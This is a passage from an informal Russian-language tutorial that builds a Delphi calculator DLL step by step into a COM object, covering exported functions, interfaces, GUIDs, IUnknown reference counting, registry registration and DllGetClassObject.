Все элементарно. Теперь если у вас есть объект этого класса, то вам не составит труда им воспользоваться.
Но представим следующую ситуацию: у вас есть один модуль, где объявлется объект этого класса. Допустим:

unit MyCalc

type
MyCalc=class
<описание выше>

var
Calc:MyCalc;

и теперь вы хотите использовать в другом модуле. Хорошо, скажите Вы, мы его просто подключим, и используем. Но, допустим, вы хотите, чтобы и другие могли пользоваться вашим объектом, даже используея другой компилятор. То есть нужно сделать так, чтобы ваш модуль можно было бы использовать без перекомпиляции. Как это сделать?

Ясно, что без каких-то стандартов не обойтись. Скорее всего, самый простой вариант выглядел бы так:

unit MyCalc

type
MyCalc=class
<описание выше>

var Calc:MyCalc;

procedure SetOperands(x,y:integer)
begin
Calc.SetOperands(x,y);
end;

function Sum:integer;
begin
result:= Calc.Sum;
end;

function Diff:integer;
begin
result:= Calс.Diff;
end;

procedure CreateObject;
begin
Calc:=MyCalc.Create;
end;

procedure ReleaseObject;
begin
Calc.Free;
end;

откомпилировать этот юнит, посмотреть, по какому адресу находятся функции SetOperands, Sum, Diff, CreateObject и ReleaseObject и приложить документацию где эти адреса будут указанны. Теперь каждый сможет загрузить ваш модуль в память и по адресу указанном в вашей документации вызвать нужную функцию.

Понятно, чем такой подход чреват. Это крайне не удобно. Но, эта проблема была поставленна давно, и теперь у нас есть стандартизированное соглашение об экспорте функций. То есть вместо того, чтобы писать для каждого модуля документацию с адресами функций при компиляции в заголовке модуля создается специальная стандартная таблица где указанны имена этих функций и их адреса (также указывается числовой индефикатор, который может быть использован вместо имени). Теперь уже лучше. Для того чтобы вызвать ваши функции, достаточно загрузить ваш модуль в память прочитать таблицу экспорта, и можно по именам в ней нати адреса функций и их вызвать. Так устроены DLL. Сейчас все это поддерживается компиляторами, и Windows API. То есть вам самому ничего этого делать не надо, а достаточно вызвать LoadLibrary, чтобы загрузить ваш модуль в память, и GetProcAddress чтобы получить адрес функции по имени.


DLL!

Ура. До нас и за нас все уже стандатизировали. Давайте этим воспользуемся и напишим теперь наш модуль в постандарту. Напишим dll.

library CalcDll;

uses SysUtils, Classes;

type
MyCalc=class
fx,fy:integer;
public
procedure SetOperands(x,y:integer);
function Sum:integer;
function Diff:integer;
end;

var Calc:MyCalc;

procedure MyCalc.SetOperands(x,y:integer);
begin
fx:=x; fy:=y;
end;

function MyCalc.Sum:integer;
begin
result:=fx+fy;
end;

function MyCalc.Diff:integer;
begin
result:=fx-fy;
end;

procedure SetOperands(x,y:integer);
begin
Calc.SetOperands(x,y);
end;

function Sum:integer;
begin
result:=Calc.Sum;
end;

function Diff:integer;
begin
result:=Calc.Diff;
end;

procedure CreateObject;
begin
Calc:=MyCalc.Create;
end;

procedure ReleaseObject;
begin
Calc.Free;
end;

exports //Вот эта секция и указывает компилятору что записать в таблицу экспорта
SetOperands,
Sum,
Diff,
CreateObject,
ReleaseObject;
begin
end.

Напишим программку - протестировать наш модуль.

unit tstcl;

interface

uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
end;

var Form1: TForm1;
_Mod:Integer; //индефикатор модуля
SetOpers:procedure(x,y:integer); //Это все указатели на функции,
diff,sum:function:integer; //которые мы собираемся получить
CreateObj,ReleaseObj:procedure; //из нашего модуля

implementation
{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
//загружаем наш модуль в память
_Mod:=LoadLibrary('CalcDll.dll');

//получаем адреса функций по именам
CreateObj:=GetProcAddress(_Mod,'CreateObject');
ReleaseObj:=GetProcAddress(_Mod,'ReleaseObject');
sum:=GetProcAddress(_Mod,'Sum');
diff:=GetProcAddress(_Mod,'Diff');
SetOpers:=GetProcAddress(_Mod,'SetOperands');

CreateObj; //вызываем функцию по адресу
SetOpers(13,10); //вызываем функцию по адресу
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
ReleaseObj; //опять вызываем функцию по адресу
FreeLibrary(_Mod); //выгружаем модуль из памяти
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(IntToStr(diff)); //вычисляем разницу
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
ShowMessage(IntToStr(sum)); //вычисляем сумму
end;

end.

Классно! Теперь каждый программирующий в системе Windows на любом языке может использовать наш калькулятор! Что? Разочарованны? Такое ощущение что COM тут и не пахнет?

Правильно, ибо про СОМ я пока ничего и не сказал, но

Продолжение следует!


Еще шаг в направлении COM

Сделаем еще шаг в направлении Component Object Module (COM).Даже сейчас у экспортируется довольно много функций. Соответсвенно и в программе нам надо сделать несколько ступений - создать переменную-указатель, присвоить ей значение адреса нужной функции при помощи GetProcAddress, и только потом вызвать саму функцию. Причем все эти функции у нас сами по себе и никак не связанны с самим объектом, который мы используем. А неплохо бы сделать так, чтобы можно было работать с ними как с объектом, что нибудь типа:
Сalc.SetOperands(13,10);
i:=Calc.Sum;

Так давайте так и сделаем! Правда мы ограничены экспортом только функций, но мы сделаем так:

Добавим в dll такую запись

type
ICalc=record
SetOpers:procedure (x,y:integer);
Sum:function:integer;
Diff:function:integer;
Release:procedure;
end;

и процедуру:

procedure GetInterface(var Calc:ICalc);
begin
CreateObject;
Calc.Sum:=Sum;
Calc.Diff:=Diff;
Calc.SetOpers:=SetOperands;
Calc.Release:=ReleaseObject;
end;

и будем экспортировать только ее:

exports
GetInterface;

Видете что происходит? Теперь вместо того, чтобы получать адрес каждой функции, мы можем получить сразу всю таблицу адресов. Причем создание объекта происходит в этой же функции, и пользователю больше не нужно знать функцию CreateObject и не забыть ее вызвать.

Переделаем наш тестер.

В описание типов добавим:

type
ICalc=record
SetOpers:procedure (x,y:integer);
Sum:function:integer;
Diff:function:integer;
Release:procedure;
end;

изменим секцию var.

var
Form1: TForm1;
_Mod:Integer;
GetInterface:procedure (var x:ICalc);
Calc:ICalc;

и процедуры где мы используем наш объект.

procedure TForm1.FormCreate(Sender: TObject);
begin
_Mod:=LoadLibrary('CalcDll.dll');
GetInterface:=GetProcAddress(_Mod,'GetInterface');
GetInterface(Calc);
Calc.SetOpers(13,10);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
Calc.Release;
FreeLibrary(_Mod);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(IntToStr(Calc.diff));
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
ShowMessage(IntToStr(Calc.Sum));
end;

Теперь со стороны может показаться, что мы пользуемся объектом, хотя на самом деле это всего лиш таблица с указателями на функции.


Понятие интерфейса

Тут наконец проявляется одно из ключевых понятий COM - интерфейс(interface).
Наша запись ICalc - это он и есть. То есть интерфейс - это таблица содержашаяя указатели на функции. Когда вы работаете с COM объектом, несмотря на то, что это выглядит так, как будто вы работаете с самим объектом, вы работаете с его интерфейсами. Реализация здесь может быть разная, это может быть указатели на внешнии функции, как это сделанно у нас (так практическм никто не делает), но чаще всего это указатели на методы класса. Пользователя это не волнует - он получает интерфейс и с ним работает, а уж ваша задача потрудиться над тем, чтобы работа с вашим интерфейсом проходила корректно.

Мы можем создать несколько интерфейсов. Допустим, добавим в наш класс две функции:
  procedure MyCalc.Mult;   //умножение
  begin
    result:=fx*fy;
  end;

  procedure MyCalc.Divide; //деление
  begin
    result:=fx div fy;
  end;

ну и придется добавить еще две внешнии функции:

 procedure Mult;
 begin
  Calc.Mult
 end;

 procedure Divide;
 begin
  Calc.Divide;
 end;

и переделаем GetInterface;

 procedure GetInterface(IID:integer; var Calc:ICalc); //IID - Interface ID(индефикатор интерфейса)
 begin
   CreateObject;
   if IID=1 then
    begin
     Calc.Sum:=Sum;
     Calc.Diff:=Diff;
    end
   else
   If IID=2 then
    begin
     Calc.Sum:=Mult;
     Calc.Diff:=Divide;
    end;
   Calc.SetOpers:=SetOperands;
   Calc.Release:=ReleaseObject;
 end;

Теперь пользователь может ввести какой он хочет интерфейс сложение/вычитание или умножение/деление и получить соответсвующую таблицу методов.

Слышу, слышу. Читатели уже начинают замечать сколько несуразностей в нашем коде. Давайте попробуем приводести его в нормальный вид.

Во первых, неплохо бы избавиться от внешних функций. Сейчас нам приходилось на каждый метод нашего класса добавлять еще одну внешнюю функцию, чтобы этот метод вызывать. Почему мы не можем передпть указатели на методы класса? Дело в том, что указатель на методы класса должен содержать в себе также и указатель на экземпляр класса, чтобы метод мог обращаться к членам этого класса. В Делфи можно задать указатель на функцию класса:

  MethodPointer:procedure of object;

Такое обявление увеличивает размер указателя с 4 до 8 байт, что позволяет хранить в нем указатель на экземпляр класса. В принципе, возможно этим воспользоваться и описать процедуры нашего интерфейса как объектные, но это не будет шаг в сторону COM. Так как COM должен обеспечивать единый стандарт в нем используются указатели стандартного размера 4 байта. Как же нам все-таки избавиться от неудобных внешних функций? В разных средах разработки это может быть реализованно по разному, но раз уж мы начали с Delhpi, рассмотрим как это реализованно в нем.

В Delphi вводиться ключевое слово - interface. Объявление инерфейса - это и есть объявление таблицы методов. Выглядит это так

  IMyInterface=interface
   [{GUID}]
   <метод1>
   <метод2>
   ...
  end;

GUID - необязательное поле индефицируеющая интерфейс. Тут надо сказать, что GUID(он же UUID, CLSID) - это 128-битное число, алгоритм генерации которого гарантирует его уникальность во вселенной. В Windows его можно получить функцией CoCreateGuid или UuidCreate. В Делфи это очень удобно встроенно в среду, и вы его можете получить нажав Ctrl+Shift+G.

В нашем простом случае это будет выглядить так:

 ICalc=interface
  ['{149D0FC0-43FE-11D6-A1F0-444553540000}']
  procedure SetOperands(x,y:integer);
  function Sum:integer;
  function Diff:integer;
  procedure Release;
 end;

Объявленный таким образом интерфейс можно прицепить к классу. Причем заметье, что методы интерфейса имплементируются только в классе, к которому они прицеплены. То есть вот так вы написать не можете:

function ICalc.Sum:integer;
begin
 Result:=0;
end;

Как и было сказанно, объявление интерфейса это всего лишь объявление таблицы методов. А имплементируется это так:

 MyCalc=class(TObject,ICalc) //интерфейс указывается в списке наследования!
   fx,fy:integer;
 public
   procedure SetOperands(x,y:integer);
   function Sum:integer;
   function Diff:integer;
   procedure Release;
 end;

Все методы класса у нас уже имплементированны, кроме Release. Ну с ним все понятно:

procedure MyCalc.Release;
begin
 Free;
end;

По умолчанию, методы привязываются по именам. То есть если в ICalc указан метод Sum, то компилятор будет искать метод Sum в классе MyCalc. Однако вы можете указать явно другие имена. Например:

 MyCalc=class(TObject,ICalc)
   fx,fy:integer;
 public
   function ICalc.Diff = Difference; //задаем нужнок имя (Difference)
   procedure SetOperands(x,y:integer);
   function Sum:integer;
   function Difference:integer;  //другое имя
   procedure Release;
 end;

В нашем случае, удобно промаппить метод Release к методу Free, это избавит нас от необходимости имплементировать Release в нашем классе.

 MyCalc=class(TObject,ICalc)
   fx,fy:integer;
 public
   function ICalc.Release = Free;
   procedure SetOperands(x,y:integer);
   function Sum:integer;
   function Diff:integer;
 end;

Что же происходит при добовлении к классу интерфейса? Здесь для каждого экземпляра нашего класса создается специальная таблица(interface table), в которой храняться все записи о поддерживаемых интерфейсах. Каждая такая запись содержит адрес соответствующего интерфейса, который в свою очередь, как уже было сказанно является таблицей методов. То есть если мы получим адрес, допустим, нашего ICalc, то вызывая функцию по этому же адресу, мы вызовем метод SetOperands класса MyCalc. Ecли вы вызовете вызовете функцию по адресу <адрес ICalc>+4 то вызовется метод Sum. Еще +4 байта будет метод Diff. То есть как вы видете, здесь указатели на функции имеют размер 4 байта, и адрес нужной функции получают прибавлением нужного смещения к адресу интерфейса.
Получить же адрес нужного интерфейса можно с помощью метода GetInterface класса TObject.

Забудем пока, что мы делали два интерфейса, и вернмся к варианту с одним интерфейсом. Перепишим наш GetInterface.
 procedure GetInterface(var ACalc:ICalc);
 begin
   CreateObject;
   Calc.GetInterface(ICalc,ACalc);
 end;

Мы воспользовались методом GetInterface, который вышлядит так:

function TObject.GetInterface(const IID: TGUID; out Obj): Boolean;

этот возвращает в параметре Obj указатель на интерфейс, по указанному индификатору GUID. Допускается вместо переменной типа TGIUD поставить имя интерфейса - компилятор сам подставит его GUID если он ему известен.

Все. Выбрасывайте все внешнии функции, кроме GetInterface. Теперь нам придется сказать спасибо Borland'у и сделать несколько дополнительных действий. Дело в том, что по стандарту COM каждый COM объект должен имплементировать интерфейс IUnknown. Он содержит три метода и выглядит так:

  IUnknown = interface
    ['{00000000-0000-0000-C000-000000000046}']
    function QueryInterface(const IID: TGUID; out Obj): HResult; stdcall;
    function _AddRef: Integer; stdcall;
    function _Release: Integer; stdcall;
  end;

Хочу еще раз отметить, что эти примеры пишутся для Делфи, однако суть от этого не меняется. Как бы не выглядил интерфейс в других средах разработки, он всегда остается таблицой с адресами функций. И если говорить о IUnkown, то он всегда должен содержать эти же методы, в этом же порядке. В С++ он например выглядит так:

 struct IUnknown
 {
   HRESULT QueryInterface(REFIID iid, void ** ppvObject);
   ULONG AddRef(void);
   ULONG Release(void);
 }

Так вот, в Delhpi все интерфейсы наследуются от IUnknown. Так что и наш интерфейс тоже содержит эти методы, а значит и компилятор потребует от вас их имплементации. Ну что ж. Добавтье пока пустые методы QueryInterface, _AddRef и _Release, позже мы их имплементируем правильно.

Теперь не забудтье поменять тип ICalc на интерфейс в тестере, и убедитесь, что все работает. :)

Продолжение следует...


Понятие интерфейсе - 2

Давайте теперь вернем наш второй интерфейс. Теперь, когда таблица интерфейсов создается компилятором, мы не можем эмулировать два интерфейса простой заменой адресов функций. Теперь нам действительно надо создать второй интерфейс. Хорошо, что интерфейсы можно наследовать:

 ICalc2=interface(ICalc)
   function Mult:integer;
   function Divide:integer;
 end;

Tак ICalc2 будет содержать в себе все методы ICalc. Нам Sum и Diff в этом интерфейсе не нужны, так что давайте лучше напишим так:

  ICalcBase=interface //здесь нам GUID не нужен, так как с этим интерфейсом мы работать не собираемся.
    procedure SetOperands(x,y:integer);
    procedure Release;
  end;

  ICalc=interface(ICalcBase)
    ['{149D0FC0-43FE-11D6-A1F0-444553540000}']
    function Sum:integer;
    function Diff:integer;
  end;

  ICalc2=interface(ICalcBase)
    ['{D79C6DC0-44B9-11D6-A1F0-444553540000}']
    function Mult:integer;
    function Divide:integer;
  end;

Теперь добавим его в наш объект.

  MyCalc=class(TObject,ICalc,ICalc2)
     ...                     //без изменений
     function Divide:integer;   //это и
     function Mult:integer;  //это добавили
  end;

Опять возмемся за наш GetInterface. В принципе, мы могли бы оставить выбор интерфейса как было у нас раньше - передаем в GetInterface целую переменную и если она равна 1 то возвращаем ICalc, а если 2 то ICalc2.
Но уж коли мы связались с COM, то давайте будем, по возможнсти, к нему приближаться. Сделаем полную аналогию GetInterface в TObject:

function GetInterface(const IID: TGUID; var ACalc): Boolean;
begin
 CreateObject;
 Result:=Сalc.GetInterface(IID,ACalc);
 if not Result then
  Calc.Free;
end;

Вуоля! Чуствуется, насколько теперь лучше, чем было вначале? Теперь если запрашиваемый инерфейс нашим объектом не поддерживается, то во-первых, мы даем клиенту об этом узнать, возвращая в Calc nil ( TObject.GetInterface это делает) и возвращая False из функции, а во- вторых, мы сразу же освобождаем объект. Но на самом деле, то что во-вторых, ничего хорошего нет, ибо мы подходим к следующей проблеме.
Функцию мы обозвали GetInterface, но она еще и объект создает! А если пользователь захотел получить вначале ICalc, а потом ICalc2? Так как ему известна лишь функция GetInterface, он может воспользоваться только ей и получит два объекта, вместо двух интерфейсов одного объекта. Значит нужно отделить функции создание объекта, от получение его интерфейса. Давайте попробуем это сделать.
Первая попытка:

...
var
  Calc:MyCalc; //без изменений
...
...
procedure CreateObject;
begin
 Calc:=MyCalc.Create;
end;

function GetInterface(const IID: TGUID; var ACalc): Boolean;
begin
 Result:=Сalc.GetInterface(IID,ACalc);
end;

exports
 CreateObject, //добавили в экспорт
 GetInterface;

Хм... Не работает, не правда ли? Если клиент сделает так:

CreateObject;
CreateObject;
GetInterface(ICalc, Calc);

то он получит интерфес второго созданного объекта, тогда как первый объект будет навсегда утерян. Что же надо сделать? Надо сделать так, чтобы CreateObject возвращала бы чего-нибудь, чтобы мы могли индифецировать объект, и получать имено его интерфейсы. Как я уже сказал, клиент работает с COM объектом только через его интерфейсы, значит логичнее всего при создании объекта вернуть интерфейс созданного объекта(точнее, указатель на него). Для нашего случая, можно возвращать указатель на ICalc, но можно облегчить жизнь ползователю, и попросить его указать, какой интерфейс он хочет.

procedure CreateObject(const IID: TGUID; var ACalc);
var
 Сalc:MyCalc;
begin
 Calc:=MyCalc.Create;
 if not Calc.GetInterface(IID,ACalc) then
  Calc.Free;
end;

Здесь если интерфейса, который пользователь попросит нас нет, мы вернем nil и удалим объект. Если интерфейс есть, то пользователь сам будет удалять объект через метод Release. Неплохо, не правда ли?
Теперь глобальная переменная Calc нам не нужна - мы создаем много обектов динамически.

Ну теперь совсем очевидно, что если ползователь захочет еще один интерфейс этого объекта, то логичнее всего у этого объекта этот интерфейс и поросить. Вот мы уже влотную подошли к имплементации IUnknown - основного интерфейса в COM. Как я уже сказал, все объекты должны имплементировать IUnknown, и все интерфейсы должны быть потомками IUnknown(что Borland и сделал). Так что вы помните, что и оба наших интерфейса ICalc и ICalc2 являются потомками IUnknown, а значит и первые три метода, которые они содержат - это QueryInterface, AddRef, Release. Помните, я предлагал вам оставить эти три метода пустыми? Давайте сейчас имплементируем один из них - QueryInterface:

function MyCalc.QueryInterface(const IID: TGUID; out Obj): HResult;
begin
  if GetInterface(IID, Obj) then
    Result := S_OK;
  else
    Result := E_NOINTERFACE;
end;

HResult это тоже, что и Longint, только его значение определятся соглашением принятым в COM.


Собираем тестовый пример

Теперь, давайте соберем код. Прошу учесть, что практически не делается никаких проверок - это демонстрационный код. Но работающий.

В начале код dll c объектом.

library CalcDll;

uses
  SysUtils,
  Classes;

type

 HResult=Longint;

 ICalcBase=interface                      //чисто абстрактный интерфейс
   procedure SetOperands(x,y:integer);
   procedure Release;
 end;

 ICalc=interface(ICalcBase)
   ['{149D0FC0-43FE-11D6-A1F0-444553540000}']
   function Sum:integer;
   function Diff:integer;
 end;

 ICalc2=interface(ICalcBase)
   ['{D79C6DC0-44B9-11D6-A1F0-444553540000}']
   function Mult:integer;
   function Divide:integer;
 end;

 MyCalc=class(TObject,ICalc,ICalc2)  //два интерфейса
   fx,fy:integer;
 public
   procedure SetOperands(x,y:integer);
   function Sum:integer;
   function Diff:integer;
   function Divide:integer;
   function Mult:integer;
   procedure Release;
   function QueryInterface(const IID: TGUID; out Obj): HResult; stdcall;
   function _AddRef:Longint; stdcall;
   function _Release:Longint; stdcall;
 end;

const
 S_OK = 0;
 E_NOINTERFACE = HRESULT($80004002);

procedure MyCalc.SetOperands(x,y:integer);
begin
 fx:=x; fy:=y;
end;

function MyCalc.Sum:integer;
begin
  result:=fx+fy;
end;

function MyCalc.Diff:integer;
begin
  result:=fx-fy;
end;

function MyCalc.Divide:integer;
begin
  result:=fx div fy;
end;

function MyCalc.Mult:integer;
begin
  result:=fx*fy;
end;

procedure MyCalc.Release;
begin
 Free;
end;

function MyCalc.QueryInterface(const IID: TGUID; out Obj): HResult;
begin
  if GetInterface(IID, Obj) then
    Result := S_OK
  else
    Result := E_NOINTERFACE;
end;

function MyCalc._AddRef;
begin
end;

function MyCalc._Release;
begin
end;

procedure CreateObject(const IID: TGUID; var ACalc);
var
 Calc:MyCalc;
begin
 Calc:=MyCalc.Create;
 if not Calc.GetInterface(IID,ACalc) then
  Calc.Free;
end;

exports
 CreateObject;

begin
end.

А теперь тестер.

unit tstcl;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls,ComObj;

type

 //обратите внимание! Используем один унифицированный интерфейс
  IUniCalc=interface
    procedure SetOperands(x,y:integer);
    procedure Release;
    function Sum:integer;
    function Diff:integer;
  end;

  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
  end;

var
  Form1: TForm1;
  _Mod:Integer;  //хэндл модуля
  СreateObject:procedure (IID:TGUID; out Obj); //процедура из dll.

  Calc:IUniCalc;        //это указатель на интерфейс котрый мы будем получать
  ICalcGUID:TGUID;
  ICalc2GUID:TGUID;
  flag:boolean;         // какой интерфейс активный.

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
  _Mod:=LoadLibrary(PChar('C:\Kir\COM\SymplDll\CalcDll.dll'));

  //Эти GUID я просто скопировал из исходника CalcDll.dll
  ICalcGUID:=StringToGUID('{149D0FC0-43FE-11D6-A1F0-444553540000}');
  ICalc2GUID:=StringToGUID('{D79C6DC0-44B9-11D6-A1F0-444553540000}');
  flag:=true;

  СreateObject:=GetProcAddress(_Mod,'CreateObject');

  СreateObject(ICalcGUID,Calc);
  if Calc<>nil then
    Calc.SetOperands(10,5);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  if Calc<>nil then
   Calc.Release;
  FreeLibrary(_Mod);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
   ShowMessage(IntToStr(Calc.diff));
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
   ShowMessage(IntToStr(Calc.Sum));
end;

procedure TForm1.Button3Click(Sender: TObject);
var
   tmpCalc:IUniCalc;
begin
   if flag then
     Calc.QueryInterface(ICalc2GUID,tmpCalc)
   else
     Calc.QueryInterface(ICalcGUID,tmpCalc);
   flag:=not flag;
   Calc:=tmpCalc;
end;

end.

Обратите вснимание, что происходит при нажатии на кнопку3. Мы используем ту же самую переменную, для работы со вторым интерфейсом! Этот пример показывает, что получая указатель на интерфейс, его методы мы получаем за счет смещения, от адреса который этот указатель содержит. Короче, мы получаем адрес таблицы методов.
Потыкайте, посмотрите что происходит.


Стандарт СОМ

Продолжаем, осталось совсем немного, чтобы подогнать под стандарт COM.
Какой у нас пробел еще остался? Представте, что кто-то сделал так:

var
   Calc:ICalc;
   Calc2:ICalc2;
begin
   CreateObject(ICalc,Calc);
   Calc.QueryInterafce(ICalc2,Calc2)
   ...
   Calc.Release;  //объект уничтожается
   i:=Calc2.Mult;  //Облом! Объекта уже нет.
 ...
end;

Не очень хорошо, не правда ли? Нужно все-таки сохранить объект, пока им кто-то пользуется. Очевидное решение - подсчет ссылок. То есть, если у нашего объекта попросили интерфейс, мы увеличим счетчик, если кому-то интерфейс больше не нужен, мы ументьшим счетчик, и как только он обратиться в 0 мы уничтожим объект. Вот и настала пора, имплементировать последние два метода в интерфейса IUnknown. Вначале, добавим счетчик в наш объект:

MyCalc=class(TObject,ICalc,ICalc2)
   fx,fy:integer;
   FRrefCount:LongInt; //вот он!
public
   procedure SetOperands(x,y:integer);
   function Sum:integer;
   function Diff:integer;
   function Divide:integer;
   function Mult:integer;
   procedure Release;
   function QueryInterface(const IID: TGUID; out Obj): HResult; stdcall;
   function _AddRef:Longint; stdcall;
   function _Release:Longint; stdcall;
end;

и имплементируем методы:

function MyCalc._AddRef:Longint;
begin
  Result := InterlockedIncrement(FRefCount);
end;

function MyCalc._Release:Longint;
begin
   Result := InterlockedDecrement(FRefCount);
   if Result = 0 then
     Destroy;
end;

Именно так, как правило, выглядят эти два метода в реализациях под Windows. Теперь в нашем интерфейсе Release не нужен, и можно его оттуда выкинуть. Итак, клиент должен вызывать Release для того, чтобы дать объекту знать, что он его больше не будет использовать, а кто должен вызывать AddRef? Во-первых, мы сами, всегда, когда клиент получает от нас интерфейс. Если бы мы не писали на Delphi, это надо было бы делать в методе QueryInterface, однако в Delhpi метод GetInterface класса TObject сам вызывает AddRef, так что нам заботиться об этом не надо. Надо сказать, что и клиент может вызвать AddRef, ecли по каким-то причинам, не желает чтобы объект исчез из памяти. Но тут уж вся ответсвенность на нем.
Надо сказать еще об одной особенности Delphi, касательно использования COM объектов(а точнее интерфейсов) в своих приложениях. Как было упомянуто выше, клиент должен вызывать Release для того, чтобы объект знал, когда ему можно удалиться. Так вот для переменных типа interface Delphi сам вызывает Release, если переменная уничтожается или если ей присваивается nil. То есть:

var
  ifc:IUnknown;
begin
  ifc:=SomeComObj.QueryInterface(IUnknown,ifc);
  ...
  ifc:=nil; //здесь вызывается ifc._Release
end;

var
  ifc:IUnknown;
begin
  ifc:=SomeComObj.QueryInterface(IUnknown,ifc);
  ...
end; //теперь где-то здесь ifc._Release (перед уничтожением ifc).

Так что всегла имейте это ввиду: как минимум один раз Release будет вызван без вашего указания.

var
  ifc:IUnknown;
begin
  ifc:=SomeComObj.QueryInterface(IUnknown,ifc);
  ifc._Release;
end; //Access violation! Объекта уже нет и вызов ifc._Release проваливается!

Ну вот у нас теперь практически полноценный COM объект. Чем же он еще не полноценен? Наверно вы уже догадались - он не универсален с точки зрения системы. То есть создать его можно лишь подключив загрузив вручную нашу dll и вызвав CreateObject. Но ведь в Windows есть возможность вызывать СOM объекты даже просто по имени! Как это делается? Понятно, что в системе существует правило, как создавать COM объекты. И если мы хотим, чтобы система знала как слздать наш MyCalc, мы должны сделать его по этим правилам. Именно этим мы и займемся.

Но в начале, небольшое резюме.
Итак СOM - это битовый стандарт, то есть он обеспечивает совместимость на битовом уровне. С СOM объектами работают через их интерфейсы. Интерфейс - это таблица методов, указатель на которую мы можем получить у объекта. Каждый СОМ объект имплементирует интерфейс IUnknown, который содержит три метода: QueryInterface, AddRef и Release (это стандартные имена, но в принципе вы можете дать любые. Так как совмещение идет на битовом уровне, то важен лишь порядок в котором расположенны эти методы в таблице, а так же тип метода(набор параметров, тип возвращаемого значения, тип вызова)). Все интерфейсы должны быть потомками IUnknown, то есть у каждого интерфейса первые три метода это QueryInterface, AddRef и Release. Интерфейсы индифецируются GUID. Для того, чтобы получить у объекта какой-то интерфейс, нужно знать его(интерфейса) GUID. То есть название интерфейса неважно для COM - оно исползуется для удобства людей. Вы можете назвать его IMyInterface, но если его GUID равен {00000000-0000-0000-C000-000000000046}, то все в COM'e (случайная игра слов) будут думать, что это IUnknown.

Ну вот в основном все, пойдем дальше.


Как система создаёт объект СОМ

Итак, давайте посмотрим как система создает СОМ объект. (Все, что написанно далее про создание СОМ объекта, не является стандартом СOM, а является поддержкой работы COM системой. То есть так поддержка реализованна в Windows. В других системах поддержка COM (если вы ее там найдете) может быть реализована по другому.) Наиболее часто используемая API функция в Windows для создания СОМ объекта это CoCreateInstance (все названия функций Win API для работы с СОМ имеют префикс Со). Выглядит она так:

STDAPI CoCreateInstance(
    REFCLSID rclsid,
    LPUNKNOWN pUnkOuter,
    DWORD dwClsContext,
    REFIID riid,
    LPVOID * ppv
   );

Давайте запишим ее в паскалевском виде, и прокомментируем:

function CoCreateInstance(
   const clsid: TCLSID;   //Индификатор класса объект которого мы хотим создать (это, как всегда, GUID)
   unkOuter: IUnknown;    //указатель на интерфейс агрегирующего объекта (агрегирование мы рассматривать пока не будем поэтому он у нас будет nil)
   dwClsContext: Longint; //контекст в котором объект должен быть создан объект
   const iid: TIID;       //индификатор интерфейса который мы хотим получить (это тоже GUID)
   out pv                 //переменная в которую будет записан полученный интерфейс
   ): HResult; stdcall;

Параметр dwClsContext указывает как должен быть создан объект. Если мы хотим создавать наш калькулятор c помощью CoCreateInstance этот параметр будет равен CLSCTX_INPROC_SERVER, то есть внутрипроцессорный сервер, так как наш объект находиться внутри dll и не может работать как отдельный процесс. Значит создание нашего объекта будет выглядеть примерно так:

var
  Calc:ICalc;
begin
  CoCreateInstance({GUID нашего класса которого у наc пока нет},nil,CLSCTX_INPROC_SERVER,ICalc,Calc);
...
end;

Итак у нас нет GUID нашего класса. Ну, его придумать не проблема, нажал в Delphi Ctrl+Shift+G и GUID готов (особо крутые программисты могут написать свою программку генерации GUID, которая будет сосотоять из одного вызова API функции СoCreateGUID или UuidCreate). А как система узнает о том, что этот GUID пренадлижит нашему классу? Правильно, пора заглянуть в реестр.Открываем ключ HKEY_CLASSES_ROOT\CLSID и видим длинный список GUID'ов. Именно в этом списке находятся все GUID зарегистрированных COM классов (GUID классов чаще называют CLSID - Class ID).При вызове CoCreateInstance в этом списке ищется тот GUID который равен параметру CLSID и если он находиться, то рассматривается параметр dwClsContext, и в соответсвии с ним ищется следующий подключ:
если dwClsContext=CLSCTX_INPROC_SERVER ищется подключ InprocServer32
если dwClsContext=CLSCTX_INPROC_HANDLER ищется подключ InprocHandler32
если dwClsContext=CLSCTX_LOCAL_SERVER ищется подключ LocalServer32
и если он существует, то значение этого ключа будет указывать путь к модулю в котором находиться исполняемый код класса.
Итак, чтобы зарегестрировать наш класс, нужно создать новый GUID (пусть это будет {2563AE40-AC27-11D6-A5C2-444553540000} ) и создать в реестре новый раздел HKEY_CLASSES_ROOT\CLSID\{2563AE40-AC27-11D6-A5C2-444553540000}, а в нем создать еще один подраздел InprocServer32 и в значение по умолчанию записать путь к нашей dll, у меня это C:\Kir\COM\SymplDll\CalcDll.dll. Отлично, теперь система знает где искать наш класс. Теперь давайте посмотрим как она этот класс создает.

А создает она его так (сейчас мы говорим только о in-proc сервере).Найденная библиотека(dll) с классом загружается в память и в ней вызывается функция DllGetClassObject! Вот основная функция которую наша библиотека должна содержать, и через которую система и создает COM объект. Как она выглядит и что она должна делать? Выглядит она вот так:

function DllGetClassObject(const CLSID, IID: TGUID; var Obj): HResult; stdcall;

а делать она должна то, что делает сейчас наша функция CreateObject - создавать класс.
По сравнению с CreateObject добавляется еще один параметр CLSID, так как библиотека может содержать больше чем один класс, то этот параметр указывает объект какого класса нужно создать. Если параметр CLSID содержит неизвестный нашей библиотеке GUID то функция должна вернуть CLASS_E_CLASSNOTAVAILABLE.

Давайте перепишим наш CreateObject на DllGetClassObject:

